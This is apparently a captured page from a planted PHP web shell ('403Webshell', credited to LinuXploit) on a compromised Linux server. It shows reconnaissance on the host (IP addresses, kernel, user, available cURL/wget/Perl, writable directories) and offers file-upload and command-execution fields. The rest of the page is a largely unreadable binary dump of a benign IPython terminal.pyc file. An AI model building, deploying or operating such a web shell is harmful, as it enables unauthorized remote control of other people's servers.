403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/IPython/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/IPython/utils/__pycache__/terminal.cpython-311.pyc
�

�@�c
���dZddlZddlZddlZddlmZdaejdkrd�Z	nej
dkrd�Z	nd	�Z	d
�Zd�Zd�Z
d
�Zd�Zejdkr5ej�dd��Ze�d��reZeZ
n@ej
dkr5	ddlZejjjZejge_d�Zn#e$rd�ZYnwxYwd�Zd�Zd�Zdd�ZdS)z�
Utilities for working with terminals.

Authors:

* Brian E. Granger
* Fernando Perez
* Alexander Belchenko (e-mail: bialix AT ukr.net)
�N)�get_terminal_sizeT�posixc�.�tjd��dS)N�clear��os�system���8/usr/lib/python3/dist-packages/IPython/utils/terminal.py�_term_clearr
s��
�	�'�����r�win32c�.�tjd��dS)N�clsrr
rrr
r
s��
�	�%�����rc��dS�Nr
r
rrr
r
 s���rc��|adS)a�Control whether set_term_title is active or not.

    set_term_title() allows writing to the console titlebar.  In embedded
    widgets this can cause problems, so this call can be used to toggle it on
    or off as needed.

    The default state of the module is for the function to be disabled.

    Parameters
    ----------
    val : bool
        If True, set_term_title() actually writes to the terminal (using the
        appropriate platform-specific module).  If False, it is a no-op.
    N)�ignore_termtitle)�vals r�toggle_set_term_titler%s�� �x���rc��dS)zDummy no-op.Nr
)�args�kws  r�_set_term_titler8s���Drc��dSrr
r
rr�_restore_term_titler=s���Drc��tj�d��tj�d|z��dS)z3 Change virtual terminal title in xterm-workalikes zz]0;%sN��sys�stdout�write��titles r�_set_term_title_xtermr$As;���J���\�"�"�"��J���_�u�,�-�-�-�-�-rc�D�tj�d��dS)Nzrr
rr�_restore_term_title_xtermr&Hs���J���\�"�"�"�"�"r�TERM��xtermc�$�t|��dS)z9Set terminal title using ctypes to access the Win32 APIs.N)�SetConsoleTitleWr"s rrrXs���U�#�#�#�#�#rc���	tj��}tjd��tjd|z��}tj|��n#tj|��wxYw|rdadSdS)z-Set terminal title using the 'title' command.zC:ztitle TN)r�getcwd�chdirr	r)r#�curr�rets   rrr\sr��
��y�{�{���������i��5� 0�1�1���������������������
(�#'� � � �
(�
(s�>A�A+c�6�trdSt|��dS)z@Set terminal title using the necessary platform-dependent calls.N)rrr"s r�set_term_titler2ls#�������E�����rc�4�trdSt��dS)z:Restore, if possible, terminal title to the original stateN)rrr
rr�restore_term_titler4ss!�����������rc�2�tjd��dadS)Nz8This function is deprecated, use toggle_set_term_title()T)�warnings�warnrr
rr�freeze_term_titler8zs���M�L�M�M�M����r�P�c�$�t||f��Sr)�_get_terminal_size)�defaultx�defaultys  rrr�s���x��2�3�3�3r)r9r:)�__doc__rrr6�shutilrr<r�namer
�platformrrrr$r&�environ�getr'�
startswith�ctypes�windll�kernel32r+�	c_wchar_p�argtypes�ImportErrorr2r4r8r
rr�<module>rLs�����
�	�	�	�
�
�
�
�����:�:�:�:�:�:����7�g��������\�W�������
�
�
�
 � � �&	�	�	�
	�	�	�.�.�.�#�#�#��7�g���
�:�>�>�&��$�$�D����w���8�/��7����\�W���(��
�
�
�!�=�1�B��%+�%5�$6��!�	$�	$�	$�	$���(�(�(�
	(�
	(�
	(�
	(�
	(�(����"���������4�4�4�4�4�4s�%B9�9C�C

Youez - 2016 - github.com/yon3zu
LinuXploit